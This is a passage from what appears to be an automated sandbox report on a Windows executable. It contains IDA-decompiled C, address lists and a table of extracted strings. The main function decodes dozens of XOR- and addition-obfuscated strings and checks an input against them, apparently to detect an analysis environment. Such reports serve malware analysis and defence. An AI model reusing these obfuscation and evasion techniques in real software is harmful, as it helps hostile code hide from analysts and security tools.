				_a44 =  &_v8;
				_a48 =  &_a248;
				_a60 = _a20;
				_a52 =  &_a304;
				_a56 =  &_a344;
				_a64 = _a8;
				_a72 = _a12;
				_a68 =  &_a416;
				_a76 =  &_a320;
				_a80 =  &_a424;
				_a84 =  &_a360;
				_a88 = _a4;
				_a92 =  &_v0;
				_a96 =  &_a216;
				_a100 = _v20;
				_a104 =  &_a240;
				_a108 =  &_a432;
				_t361 =  &_a456; // 0x64
				_a112 = _t361;
				_a116 =  &_a336;
				_a120 =  &_a256;
				_a124 =  &_a376;
				 *0x431c89 = 0x19;
				_a200 = 0x73;
				_a201 = 0x68;
				_a202 = 0x61;
				_a203 = 0x72;
				_a204 = 0x6f;
				_a205 = 0x6e;
				_a206 = __ebx;
				_a128 = _t611;
				_a132 =  &_a392;
				_a136 =  &_a440;
				_t381 =  &_a232; // 0x6c
				_a140 = _t381;
				_t385 =  &_a280; // 0x68
				_a144 =  &_a384;
				_a152 =  &_a272;
				_a156 = _t385;
				_a160 =  &_a208;
				_a164 =  &_a296;
				_a168 =  &_a192;
				_t397 =  &_a328; // 0x72
				_a148 = _t597;
				_a172 =  &_a184;
				_a176 =  &_a200;
				_a180 = _t397;
				_t476 = E0040C1D0( &_a200);
				_t539 = 0x28;
				_t608 =  *((intOrPtr*)(_t613 + 0x38 + _t476 % _t539 * 4));
				_t478 =  *((intOrPtr*)(_t613 + 0x38 + _t476 % _t539 * 4));
				_t598 = _t478 + 1;
				do {
					_t540 =  *_t478;
					_t478 = _t478 + 1;
				} while (_t540 != __ebx);
				return E00424873(E004028A0(_a472, _t608, _t478 - _t598), _a456);
			}

0x0040e246
0x0040e246
0x0040e250
0x0040e257
0x0040e25e
0x0040e265
0x0040e266
0x0040e26d
0x0040e26e
0x0040e28c
0x0040e29a
0x0040e2ad
0x0040e2be
0x0040e2c5
0x0040e2cb
0x0040e2d5
0x0040e2da
0x0040e2e1
0x0040e2e8
0x0040e2ed
0x0040e2f2
0x0040e2f7
0x0040e2fc
0x0040e301
0x0040e306
0x0040e30b
0x0040e315
0x0040e319
0x0040e31e
0x0040e323
0x0040e328
0x0040e32d
0x0040e32f
0x0040e334
0x0040e338
0x0040e33c
0x0040e340
0x0040e341
0x0040e345
0x0040e346
0x0040e35b
0x0040e363
0x0040e367
0x0040e375
0x0040e376
0x0040e37d
0x0040e381
0x0040e388
0x0040e38c
0x0040e394
0x0040e39c
0x0040e3a4
0x0040e3ac
0x0040e3b3
0x0040e3bb
0x0040e3c3
0x0040e3cb
0x0040e3d3
0x0040e3db
0x0040e3e3
0x0040e3eb
0x0040e3f3
0x0040e3fb
0x0040e403
0x0040e40b
0x0040e418
0x0040e41c
0x0040e424
0x0040e42c
0x0040e434
0x0040e43c
0x0040e443
0x0040e44b
0x0040e453
0x0040e45b
0x0040e463
0x0040e46b
0x0040e473
0x0040e47b
0x0040e47e
0x0040e481
0x0040e482
0x0040e482
0x0040e489
0x0040e490
0x0040e497
0x0040e498
0x0040e49f
0x0040e4a0
0x0040e4a4
0x0040e4bb
0x0040e4d1
0x0040e4df
0x0040e4ed
0x0040e503
0x0040e50a
0x0040e511
0x0040e518
0x0040e520
0x0040e528
0x0040e530
0x0040e538
0x0040e540
0x0040e548
0x0040e550
0x0040e557
0x0040e55f
0x0040e567
0x0040e56f
0x0040e577
0x0040e57f
0x0040e587
0x0040e58d
0x0040e58e
0x0040e590
0x0040e597
0x0040e59e
0x0040e5a5
0x0040e5a6
0x0040e5ad
0x0040e5ae
0x0040e5c0
0x0040e5c9
0x0040e5d0
0x0040e5df
0x0040e5e6
0x0040e5ed
0x0040e5fb
0x0040e60a
0x0040e611
0x0040e618
0x0040e61f
0x0040e626
0x0040e62e
0x0040e636
0x0040e63e
0x0040e646
0x0040e64d
0x0040e655
0x0040e65d
0x0040e665
0x0040e66d
0x0040e66f
0x0040e680
0x0040e687
0x0040e68e
0x0040e695
0x0040e696
0x0040e69d
0x0040e69e
0x0040e6bc
0x0040e6ca
0x0040e6de
0x0040e6ef
0x0040e6f6
0x0040e6ff
0x0040e709
0x0040e711
0x0040e718
0x0040e71f
0x0040e727
0x0040e72f
0x0040e737
0x0040e73f
0x0040e747
0x0040e74f
0x0040e757
0x0040e75f
0x0040e767
0x0040e76f
0x0040e777
0x0040e784
0x0040e785
0x0040e786
0x0040e78e
0x0040e796
0x0040e79e
0x0040e7a6
0x0040e7ae
0x0040e7b5
0x0040e7bd
0x0040e7c5
0x0040e7cd
0x0040e7d5
0x0040e7dd
0x0040e7e5
0x0040e7ec
0x0040e7f4
0x0040e7fc
0x0040e804
0x0040e80c
0x0040e813
0x0040e81b
0x0040e823
0x0040e82b
0x0040e833
0x0040e83b
0x0040e845
0x0040e846
0x0040e849
0x0040e850
0x0040e857
0x0040e85e
0x0040e865
0x0040e866
0x0040e86d
0x0040e86e
0x0040e88c
0x0040e89a
0x0040e8ad
0x0040e8be
0x0040e8c5
0x0040e8ce
0x0040e8d8
0x0040e8d9
0x0040e8e0
0x0040e8e7
0x0040e8ee
0x0040e8f5
0x0040e8fd
0x0040e905
0x0040e90d
0x0040e915
0x0040e91d
0x0040e925
0x0040e92d
0x0040e935
0x0040e93d
0x0040e945
0x0040e952
0x0040e953
0x0040e954
0x0040e95c
0x0040e964
0x0040e96c
0x0040e974
0x0040e97c
0x0040e983
0x0040e98b
0x0040e993
0x0040e99b
0x0040e9a3
0x0040e9ab
0x0040e9b2
0x0040e9ba
0x0040e9c2
0x0040e9ca
0x0040e9d2
0x0040e9da
0x0040e9e2
0x0040e9e9
0x0040e9f1
0x0040e9f9
0x0040ea01
0x0040ea09
0x0040ea11
0x0040ea19
0x0040ea1b
0x0040ea20
0x0040ea27
0x0040ea2e
0x0040ea35
0x0040ea36
0x0040ea3d
0x0040ea3e
0x0040ea5f
0x0040ea6d
0x0040ea7b
0x0040ea91
0x0040ea98
0x0040ea9f
0x0040eaa6
0x0040eaae
0x0040eab6
0x0040eabe
0x0040eac6
0x0040eace
0x0040ead5
0x0040eadd
0x0040eae5
0x0040eaed
0x0040eaf5
0x0040eafd
0x0040eaff
0x0040eb10
0x0040eb17
0x0040eb1e
0x0040eb25
0x0040eb26
0x0040eb2d
0x0040eb2e
0x0040eb4c
0x0040eb5d
0x0040eb6d
0x0040eb77
0x0040eb82
0x0040eb89
0x0040eb94
0x0040eb9f
0x0040ebaa
0x0040ebb5
0x0040ebbd
0x0040ebc8
0x0040ebd0
0x0040ebdf
0x0040ebee
0x0040ebf2
0x0040ebf6
0x0040ec01
0x0040ec0c
0x0040ec1b
0x0040ec26
0x0040ec2a
0x0040ec3d
0x0040ec44
0x0040ec4b
0x0040ec60
0x0040ec67
0x0040ec6e
0x0040ec83
0x0040ec91
0x0040ec98
0x0040ecad
0x0040ecb4
0x0040ecbb
0x0040ecc3
0x0040eccb
0x0040ecd3
0x0040ecdb
0x0040ece3
0x0040eceb
0x0040ecf2
0x0040ecf9
0x0040ed00
0x0040ed07
0x0040ed0e
0x0040ed23
0x0040ed2a
0x0040ed31
0x0040ed38
0x0040ed54
0x0040ed5b
0x0040ed62
0x0040ed77
0x0040ed7e
0x0040ed85
0x0040ed8c
0x0040ed93
0x0040ed9a
0x0040eda5
0x0040eda9
0x0040edad
0x0040edaf
0x0040edb2
0x0040edb2
0x0040edb4
0x0040edb5
0x0040edde

Strings

A, xrefs: 0040E306
h, xrefs: 0040E39C
a, xrefs: 0040E7BD
r, xrefs: 0040E7D5
c, xrefs: 0040E518
a, xrefs: 0040E9DA
S, xrefs: 0040E71F
e, xrefs: 0040E99B
a, xrefs: 0040E528
C, xrefs: 0040E747
d, xrefs: 0040E9CA
n, xrefs: 0040E9A3
!, xrefs: 0040E3FB
n, xrefs: 0040E9C2
lmada, xrefs: 0040ED07
j, xrefs: 0040E38C
d, xrefs: 0040E79E
i, xrefs: 0040E78E
m, xrefs: 0040E9F9
e, xrefs: 0040E95C
Ljq, xrefs: 0040E5C0
a, xrefs: 0040E7DD
b, xrefs: 0040E954
o, xrefs: 0040EABE
dualc, xrefs: 0040EC6E
l, xrefs: 0040E520
n, xrefs: 0040E424
a, xrefs: 0040E62E
l, xrefs: 0040E786
s, xrefs: 0040ECBB
fna, xrefs: 0040E8D9
s, xrefs: 0040E328
hyb, xrefs: 0040ED23
r, xrefs: 0040E9D2
a, xrefs: 0040E7A6
t, xrefs: 0040E964
e, xrefs: 0040E63E
B, xrefs: 0040E2FC
h, xrefs: 0040ECC3
n, xrefs: 0040E3A4
j, xrefs: 0040E626
o, xrefs: 0040E394
!, xrefs: 0040E323
n, xrefs: 0040E7C5
a, xrefs: 0040ECCB
n, xrefs: 0040ECE3
s, xrefs: 0040E7B5
a, xrefs: 0040EAAE
6, xrefs: 0040E3C3
r, xrefs: 0040EAB6
c, xrefs: 0040EAA6
g, xrefs: 0040E73F
,, xrefs: 0040E3CB
o, xrefs: 0040ECDB
a, xrefs: 0040E434
a, xrefs: 0040E9BA
n, xrefs: 0040E42C
,, xrefs: 0040E30B
q, xrefs: 0040E557
n, xrefs: 0040E636
I, xrefs: 0040E8FD
3, xrefs: 0040E915
x$], xrefs: 0040E376
r, xrefs: 0040ECD3
o, xrefs: 0040E3BB
rebyc, xrefs: 0040ED77
j, xrefs: 0040E55F
d, xrefs: 0040E7CD
l, xrefs: 0040EAC6
n, xrefs: 0040E796
u, xrefs: 0040E530
<, xrefs: 0040E777
f, xrefs: 0040E2F7
t, xrefs: 0040E96C
s, xrefs: 0040E9B2
(, xrefs: 0040E301
y, xrefs: 0040E974
O, xrefs: 0040E3DB

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: !$!$($,$,$3$6$<$A$B$C$I$Ljq$O$S$a$a$a$a$a$a$a$a$a$a$b$c$c$d$d$d$dualc$e$e$e$f$fna$g$h$h$hyb$i$j$j$j$l$l$l$lmada$m$n$n$n$n$n$n$n$n$n$o$o$o$o$q$r$r$r$r$rebyc$s$s$s$s$t$t$u$x$]$y
API String ID: 0-3286634472
Opcode ID: 59ff23709f25e209a736129d62c2353fb5e075cf181b1114355dc9fc1a135926
Instruction ID: 775e54d6cac773eff437e52454f21b4a2cb856bcb4ef7a318419c1f27ed6b827
Opcode Fuzzy Hash: 59ff23709f25e209a736129d62c2353fb5e075cf181b1114355dc9fc1a135926
Instruction Fuzzy Hash: F362B02400D7C18AE332CB7894547DFFFD15BA6308F089E9ED4DD6A292C6B60159CB67

Uniqueness

Uniqueness Score: -1.00%

Function 00409F47, Relevance: 95.6, Strings: 76, Instructions: 627
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E00409F47(void* __eax, char __ebx, signed int _a16, char _a17, char _a18, char _a19, char _a20, char _a24, char _a28, char _a29, char _a30, char _a36, char _a37, char _a38, char _a39, char _a40, char _a41, char _a42, char _a43, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, intOrPtr _a76, intOrPtr _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, intOrPtr _a100, intOrPtr _a104, intOrPtr _a108, intOrPtr _a112, intOrPtr _a116, intOrPtr _a120, intOrPtr _a124, intOrPtr _a128, char* _a132, intOrPtr _a136, intOrPtr _a140, intOrPtr _a144, intOrPtr _a148, char* _a152, char* _a156, char* _a160, char* _a164, char* _a168, intOrPtr _a172, intOrPtr _a176, intOrPtr _a180, char* _a184, char* _a188, char* _a192, char* _a196, intOrPtr _a200, char* _a204, intOrPtr _a208, char* _a212, char* _a216, char* _a220, char* _a224, char* _a228, intOrPtr _a232, char* _a236, intOrPtr _a240, char* _a244, char* _a248, char* _a252, intOrPtr _a256, char* _a260, intOrPtr _a264, char* _a268, intOrPtr _a272, intOrPtr _a276, char* _a280, char* _a284, char* _a288, intOrPtr _a292, intOrPtr _a296, intOrPtr _a300, intOrPtr _a304, char* _a308, char* _a312, intOrPtr _a316, char* _a320, char* _a324, char* _a328, char* _a332, intOrPtr _a336, char* _a340, intOrPtr _a344, intOrPtr _a348, char* _a352, intOrPtr _a356, intOrPtr _a360, char* _a364, char* _a368, intOrPtr _a372, void* _a376, char _a377, char _a378, char _a379, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a387, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a395, char _a396, char _a397, char _a398, char _a400, char _a408, char _a416, char _a424, char _a425, char _a426, char _a427, char _a428, char _a432, char _a436, char _a437, char _a438, char _a439, char _a440, char _a448, char _a456, char _a464, char _a472, char _a480, char _a488, char _a496, char _a504, char _a505, char _a506, char _a507, char _a508, char _a509, char _a512, char _a520, char _a528, char _a529, char _a530, char _a531, char _a532, char _a533, char _a534, char _a535, char _a536, char _a537, char _a538, char _a544, char _a552, char _a560, char _a568, char _a576, char _a577, char _a578, char _a579, char _a580, char _a581, char _a582, char _a584, char _a585, char _a586, char _a587, char _a588, char _a589, char _a590, char _a592, char _a596, char _a597, char _a598, char _a599, char _a600, char _a601, char _a602, char _a603, char _a608, char _a609, char _a610, char _a611, char _a612, char _a613, char _a614, char _a615, char _a616, char _a624, char _a632, char _a633, char _a634, char _a635, char _a636, char _a637, char _a638, char _a639, char _a640, char _a641, char _a642, char _a643, char _a644, char _a645, char _a646, char _a647, char _a648, char _a649, char _a650, char _a651, char _a652, char _a653, char _a654, char _a655, char _a656, char _a668, char _a692, char _a693, char _a694, char _a695, char _a696, char _a768, char _a769, char _a770, char _a771, char _a772, char _a773, char _a774, char _a776, char _a777, char _a778, char _a779, char _a780, char _a781, char _a782, char _a783, char _a792, char _a793, char _a794, char _a795, char _a796, char _a797, char _a798, char _a799, char _a820, char _a821, char _a822, char _a823, char _a824, char _a825, char _a826, char _a827, char _a828, char _a832, char _a833, char _a834, char _a835, char _a836, char _a837, char _a838, char _a839, char _a840, char _a856, char _a857, char _a858, char _a859, char _a860, char _a861, char _a862, char _a863, char _a864, char _a865, char _a866, intOrPtr _a872, intOrPtr _a892, intOrPtr _a896, intOrPtr _a900, intOrPtr _a916) {
				void* _t523;
				signed int _t524;
				void* _t525;
				intOrPtr _t527;
				intOrPtr _t533;
				void* _t534;
				void* _t535;
				intOrPtr _t536;
				void* _t537;
				void* _t538;
				void* _t539;
				void* _t540;
				intOrPtr _t542;
				void* _t543;
				void* _t548;
				void* _t551;
				void* _t552;
				void* _t553;
				void* _t554;
				intOrPtr _t557;
				void* _t561;
				void* _t563;
				intOrPtr _t577;
				void* _t597;
				void* _t675;
				void* _t677;
				intOrPtr _t678;
				intOrPtr _t680;
				signed int _t681;
				intOrPtr _t683;
				void* _t685;
				void* _t687;
				void* _t688;
				void* _t689;
				void* _t690;
				void* _t691;

				_t523 = __eax;
				do {
					 *(_t685 + _t523 + 0x270) =  *(_t685 + _t523 + 0x270) ^ 0x000000df;
					_t523 = _t523 + 1;
				} while (_t523 < 8);
				_a608 = 0x4b;
				_a609 = 0x56;
				_a610 = 0x4f;
				_a611 = 0x43;
				_a612 = 0x5e;
				_a613 = 0x42;
				_a614 = 0x4b;
				_a615 = 0x2e;
				_t524 = 0;
				do {
					 *(_t685 + _t524 + 0x260) =  *(_t685 + _t524 + 0x260) ^ 0x0000002e;
					_t524 = _t524 + 1;
				} while (_t524 < 8);
				_a424 = 0xa7;
				_a425 = 0xc7;
				_a426 = 0xbe;
				_a427 = 0x8e;
				_a428 = 0x14;
				_a380 = 0xbf;
				_a381 = 0xa2;
				_a382 = 0xa6;
				_a383 = 0xe1;
				_a384 = 0xec;
				_t525 = 0;
				do {
					 *((char*)(_t685 + _t525 + 0x1a8)) =  *((intOrPtr*)(_t685 + _t525 + 0x1a8)) +  *((intOrPtr*)(_t685 + _t525 + 0x17c));
					_t525 = _t525 + 1;
				} while (_t525 < 5);
				_push(4);
				_push( &_a40);
				_a40 = 0x83;
				_a41 = 0x40;
				_a42 = 0xeb;
				_a43 = 0x5c;
				_a392 = 0x45;
				_a393 = 0x22;
				_a394 = 0x4c;
				_a395 = 0x39;
				_t527 = E00407370( &_a392);
				_push(0xb);
				_push( &_a856);
				_a52 = _t527;
				_a856 = 0x88;
				_a857 = 0x9c;
				_a858 = 0x95;
				_a859 = 0x1d;
				_a860 = 0xbd;
				_a861 = 0x48;
				_a862 = 0x67;
				_a863 = 0x6a;
				_a864 = 0xa9;
				_a865 = 0xb0;
				_a866 = __ebx;
				_a380 = 0x86;
				_a381 = 0xe1;
				_a382 = 0x8e;
				_a383 = 0xe2;
				_a384 = 0x86;
				_a385 = 0xab;
				_a386 = 0xc8;
				_a387 = 0xad;
				_a388 = 0xdf;
				_a389 = 0xab;
				_a390 = 0xd8;
				_a60 = E00407370( &_a380);
				_a774 = 0xe;
				_a380 = 0xe;
				_a768 = 0xc4;
				_a769 = 0x64;
				_a770 = 0x99;
				_a771 = 0x7b;
				_a772 = 0xe3;
				_a773 = 0x8b;
				_a381 = 0xee;
				_a382 = 0x8f;
				_a383 = 0x1c;
				_a384 = 0xf6;
				_a385 = 0xb;
				_a386 = 0xa3;
				_a64 = E004073E0( &_a380, 7,  &_a768);
				_push(5);
				_push( &_a692);
				_a692 = 0x39;
				_a693 = 0xcb;
				_a694 = 0xd1;
				_a695 = 0x15;
				_a696 = 0x5b;
				_a376 = 0x1c;
				_a377 = 0x74;
				_a378 = 0x11;
				_a379 = 0x7d;
				_a380 = 0xd;
				_t533 = E00407370( &_a376);
				_t687 = _t685 + 0x18;
				_a72 = _t533;
				_a596 = 0xbe;
				_a597 = 0x45;
				_a598 = 0xf2;
				_a599 = 0x15;
				_a600 = 0x9d;
				_a601 = 0x1e;
				_a602 = 0xdb;
				_a603 = 0x81;
				_a376 = 0xd7;
				_a377 = 0x27;
				_a378 = 0x9f;
				_a379 = 0x3b;
				_a380 = 0xfe;
				_a381 = 0x71;
				_a382 = 0xb6;
				_a383 = 0x81;
				_t534 = 0;
				do {
					 *(_t687 + _t534 + 0x258) =  *(_t687 + _t534 + 0x258) ^  *(_t687 + _t534 + 0x17c);
					_t534 = _t534 + 1;
				} while (_t534 < 8);
				_a584 = 0xe8;
				_a585 = 0xe6;
				_a586 = 0xf1;
				_a587 = 0xed;
				_a588 = 0xe6;
				_a589 = 0xef;
				_a590 = 0x83;
				_t535 = 0;
				do {
					 *(_t687 + _t535 + 0x248) =  *(_t687 + _t535 + 0x248) ^ 0x00000083;
					_t535 = _t535 + 1;
				} while (_t535 < 7);
				_push(8);
				_push( &_a792);
				_a792 = 0x26;
				_a793 = 0xee;
				_a794 = 0x2d;
				_a795 = 0xb4;
				_a796 = 0x7d;
				_a797 = 0xce;
				_a798 = 0xb3;
				_a799 = 0xa6;
				_a380 = 0xcc;
				_a381 = 0xa1;
				_a382 = 0xce;
				_a383 = 0xb4;
				_a384 = 0xdd;
				_a385 = 0xb1;
				_a386 = 0xdd;
				_a387 = __ebx;
				_t536 = E00407370( &_a380);
				_t688 = _t687 + 8;
				_a84 = _t536;
				_a632 = 0xbf;
				_a633 = 0x70;
				_a634 = 0x89;
				_a635 = 0x13;
				_a636 = 0x32;
				_a637 = 0x3a;
				_a638 = 0xee;
				_a639 = 0xb6;
				_a380 = 0xd2;
				_a381 = 9;
				_a382 = 0xed;
				_a383 = 0x7c;
				_a384 = 0x5f;
				_a385 = 0x5b;
				_a386 = 0x87;
				_a387 = 0xb6;
				_t537 = 0;
				do {
					 *(_t688 + _t537 + 0x278) =  *(_t688 + _t537 + 0x278) ^  *(_t688 + _t537 + 0x17c);
					_t537 = _t537 + 1;
				} while (_t537 < 8);
				_a648 = 0xc2;
				_a649 = 0xc0;
				_a650 = 0xcc;
				_a651 = 0xa8;
				_a652 = 0x1b;
				_a653 = 0xe8;
				_a654 = 0xb0;
				_a655 = 0xac;
				_a380 = 0xb2;
				_a381 = 0xb2;
				_a382 = 0xa5;
				_a383 = 0xde;
				_a384 = 0x7a;
				_a385 = 0x8b;
				_a386 = 0xc9;
				_a387 = 0xac;
				_t538 = 0;
				do {
					 *(_t688 + _t538 + 0x288) =  *(_t688 + _t538 + 0x288) ^  *(_t688 + _t538 + 0x17c);
					_t538 = _t538 + 1;
				} while (_t538 < 8);
				_a528 = 0x20;
				_a529 = 0x7d;
				_a530 = 0xb6;
				_a531 = 0x83;
				_a532 = 0x26;
				_a533 = 0x8e;
				_a534 = 0xdf;
				_a380 = 0x52;
				_a381 = 0xe9;
				_a382 = 0xad;
				_a383 = 0xaa;
				_a384 = 0x3f;
				_a385 = 0xd6;
				_a386 = 0x21;
				_t539 = 0;
				do {
					 *((char*)(_t688 + _t539 + 0x210)) =  *((intOrPtr*)(_t688 + _t539 + 0x210)) +  *((intOrPtr*)(_t688 + _t539 + 0x17c));
					_t539 = _t539 + 1;
				} while (_t539 < 7);
				_a504 = 0x49;
				_a505 = 0x5e;
				_a506 = 0xeb;
				_a507 = 0x2a;
				_a508 = 0x9c;
				_a509 = 0xed;
				_a380 = 0x3b;
				_a381 = 0x37;
				_a382 = 0x9b;
				_a383 = 0x4f;
				_a384 = 0xb2;
				_a385 = 0xed;
				_t540 = 0;
				do {
					 *(_t688 + _t540 + 0x1f8) =  *(_t688 + _t540 + 0x1f8) ^  *(_t688 + _t540 + 0x17c);
					_t540 = _t540 + 1;
				} while (_t540 < 6);
				_push(9);
				_push( &_a832);
				_a832 = 0x5f;
				_a833 = 0x23;
				_a834 = 0x3b;
				_a835 = 0xab;
				_a836 = 0x46;
				_a837 = 0x35;
				_a838 = 0x50;
				_a839 = 0x11;
				_a840 = 7;
				_a380 = 0x11;
				_a381 = 0x62;
				_a382 = 7;
				_a383 = 0x69;
				_a384 = 0xd;
				_a385 = 0x60;
				_a386 = 1;
				_a387 = 0x68;
				_a388 = 4;
				_t542 = E00407370( &_a380);
				_t689 = _t688 + 8;
				_a92 = _t542;
				_a640 = 0x8f;
				_a641 = 0x99;
				_a642 = 0x8e;
				_a643 = 0x8a;
				_a644 = 0x95;
				_a645 = 0x9f;
				_a646 = 0x99;
				_a647 = 0xfc;
				_t543 = 0;
				do {
					 *(_t689 + _t543 + 0x280) =  *(_t689 + _t543 + 0x280) ^ 0x000000fc;
					_t543 = _t543 + 1;
				} while (_t543 < 8);
				_a383 = 0x8a;
				_push(9);
				_push( &_a820);
				_a820 = 0xe6;
				_a821 = 0xd3;
				_a822 = 0xe5;
				_a823 = 0xc2;
				_a824 = 0xef;
				_a825 = 0xd8;
				_a826 = 0xd5;
				_a827 = 0x56;
				_a828 = 0x50;
				_a380 = 0xfb;
				_a381 = 0x88;
				_a382 = 0xe7;
				_a384 = 0xef;
				_a385 = 0x8d;
				_a386 = 0xe2;
				_a387 = 0x86;
				_a388 = 0xff;
				_t577 = E00407370( &_a380);
				_t690 = _t689 + 8;
				_a783 = 0xc6;
				_a380 = 0xc6;
				_push( &_a776);
				asm("pushad");
				asm("popad");
				_t675 = 8;
				_a776 = 0x54;
				_a777 = 0x44;
				_a778 = 0x24;
				_a779 = 0xa0;
				_a780 = 0x98;
				_a781 = 0x73;
				_a782 = 0x3a;
				_a381 = 0x5f;
				_a382 = 0x1d;
				_a383 = 0xf7;
				_a384 = 0xc5;
				_a385 = 0x49;
				_a386 = 0x2b;
				_a387 = 0x27;
				_a376 = E004073E0( &_a380, _t675);
				_a532 = 0x74;
				_a533 = 0x72;
				_a534 = 0x64;
				_a535 = 0x6f;
				_a536 = 0x64;
				_a537 = 0x75;
				_a538 = 1;
				_t548 = 0;
				do {
					 *(_t690 + _t548 + 0x218) =  *(_t690 + _t548 + 0x218) ^ 0x00000001;
					_t548 = _t548 + 1;
				} while (_t548 < 7);
				_a36 = 0xc3;
				_a37 = 0xbd;
				_a38 = 0x29;
				_a39 = 0xe7;
				_a392 = 0xe7;
				_a393 = 0x5e;
				_a394 = 0xca;
				_a395 = 0xb4;
				_t551 = E004073E0( &_a392, 4,  &_a36);
				_push(4);
				_push( &_a40);
				_t680 = _t551;
				_a40 = 0x91;
				_a41 = 0xb2;
				_a42 = 0;
				_a43 = 0x98;
				_a388 = 0xe0;
				_a389 = 0x99;
				_a390 = 0xf6;
				_a391 = 0x83;
				_t552 = E00407370( &_a388);
				_t691 = _t690 + 8;
				_t683 = _t552;
				_a436 = 0xad;
				_a437 = 0xbb;
				_a438 = 0xa1;
				_a439 = 0xa6;
				_a440 = 0xd4;
				_t553 = 0;
				do {
					 *(_t691 + _t553 + 0x1b8) =  *(_t691 + _t553 + 0x1b8) ^ 0x000000d4;
					_t553 = _t553 + 1;
				} while (_t553 < 5);
				_a576 = 0x64;
				_a577 = 0xb0;
				_a578 = 0x5d;
				_a579 = 0x6c;
				_a580 = 0x63;
				_a581 = 0xb4;
				_a582 = 0xf8;
				_a392 = 0xfd;
				_a393 = 0xc0;
				_a394 = 4;
				_a395 = 0xf7;
				_a396 = 5;
				_a397 = 0xb1;
				_a398 = 8;
				_t554 = 0;
				do {
					 *((char*)(_t691 + _t554 + 0x240)) =  *((intOrPtr*)(_t691 + _t554 + 0x240)) +  *((intOrPtr*)(_t691 + _t554 + 0x188));
					_t554 = _t554 + 1;
				} while (_t554 < 7);
				_push( &_a28);
				_t677 = 3;
				_a28 = 0x5a;
				_a29 = 0x34;
				_a30 = 0xa;
				_a392 = 0xa;
				_a393 = 0x4c;
				_a394 = 0x22;
				_t557 = E004073E0( &_a392, _t677);
				_a16 = 0x4a;
				_a17 = 0x7b;
				_a18 = 0xef;
				_a19 = 0x45;
				_a388 = 0x1c;
				_a389 = 0xf9;
				_a390 = 0x81;
				_a391 = 0xbb;
				_t597 = 0;
				do {
					 *((intOrPtr*)(_t691 + _t597 + 0x14)) =  *((intOrPtr*)(_t691 + _t597 + 0x14)) +  *((intOrPtr*)(_t691 + _t597 + 0x188));
					_t597 = _t597 + 1;
				} while (_t597 < 4);
				_a136 = _a56;
				_a144 = _a64;
				_a132 =  &_a464;
				_a140 = _a96;
				_a148 = _a104;
				_a152 =  &_a560;
				_a156 =  &_a544;
				_a160 =  &_a448;
				_a164 =  &_a552;
				_a172 = _a72;
				_a180 = _a80;
				_a168 =  &_a668;
				_a176 = _a112;
				_a184 =  &_a456;
				_a188 =  &_a520;
				_a192 =  &_a488;
				_a200 = _a120;
				_a208 = _a88;
				_a196 =  &_a592;
				_a204 =  &_a416;
				_a212 =  &_a400;
				_a216 =  &_a432;
				_a220 =  &_a616;
				_a224 =  &_a24;
				_a232 = _a128;
				_a228 =  &_a472;
				_a240 = _a48;
				_a236 =  &_a656;
				_a244 =  &_a480;
				_a248 =  &_a496;
				_a252 =  &_a512;
				_a256 = _a100;
				_a260 =  &_a568;
				_a264 = _a116;
				_a268 =  &_a408;
				_a272 = _a108;
				_a276 = _a124;
				_a280 =  &_a624;
				_a284 =  &_a608;
				_a288 =  &_a424;
				_t678 = _a916;
				_a292 = _a52;
				_a296 = _a60;
				_a300 = _a68;
				_a304 = _a76;
				_a308 =  &_a600;
				_a312 =  &_a584;
				_a316 = _a84;
				_a320 =  &_a632;
				_a324 =  &_a648;
				_a328 =  &_a528;
				_a332 =  &_a504;
				_a336 = _a92;
				_a340 =  &_a640;
				_a348 = _a380;
				_a352 =  &_a536;
				_a364 =  &_a440;
				_a356 = _t680;
				_a344 = _t577;
				_a360 = _t683;
				_a368 =  &_a576;
				_a372 = _t557;
				_a376 =  &_a20;
				_t681 = 0;
				while(1) {
					_a16 = _a16 ^ _a16 * 0x00000038 & 0x000000ff;
					 *0x431c86 = 0x37;
					_t561 = E00425320(_t678,  *((intOrPtr*)(_t691 + 0x84 + _t681 * 4)));
					_t691 = _t691 + 8;
					if(_t561 != 0) {
						break;
					}
					_t681 = _t681 + 1;
					if(_t681 < 0x3e) {
						continue;
					} else {
						if(_a892 >= 0x10) {
							_push(_a872);
							L00424BCD();
							_t691 = _t691 + 4;
						}
						_t563 = 1;
					}
					L34:
					 *[fs:0x0] = _a900;
					return E00424873(_t563, _a896);
				}
				if(_a892 < 0x10) {
					_t563 = 0;
				} else {
					_push(_a872);
					L00424BCD();
					_t691 = _t691 + 4;
					_t563 = 0;
				}
				goto L34;
			}

0x00409f47
0x00409f50
0x00409f50
0x00409f58
0x00409f59
0x00409f5e
0x00409f66
0x00409f6e
0x00409f76
0x00409f7e
0x00409f86
0x00409f8e
0x00409f96
0x00409f9e
0x00409fa0
0x00409fa0
0x00409fa8
0x00409fa9
0x00409fae
0x00409fb6
0x00409fbe
0x00409fc6
0x00409fce
0x00409fd6
0x00409fde
0x00409fe6
0x00409fee
0x00409ff6
0x00409ffe
0x0040a000
0x0040a010
0x0040a017
0x0040a018
0x0040a021
0x0040a023
0x0040a02b
0x0040a030
0x0040a035
0x0040a03a
0x0040a03f
0x0040a047
0x0040a04f
0x0040a057
0x0040a05f
0x0040a06b
0x0040a06d
0x0040a075
0x0040a079
0x0040a081
0x0040a089
0x0040a091
0x0040a099
0x0040a0a1
0x0040a0a9
0x0040a0b1
0x0040a0b9
0x0040a0c1
0x0040a0c9
0x0040a0d0
0x0040a0d8
0x0040a0e0
0x0040a0e8
0x0040a0f0
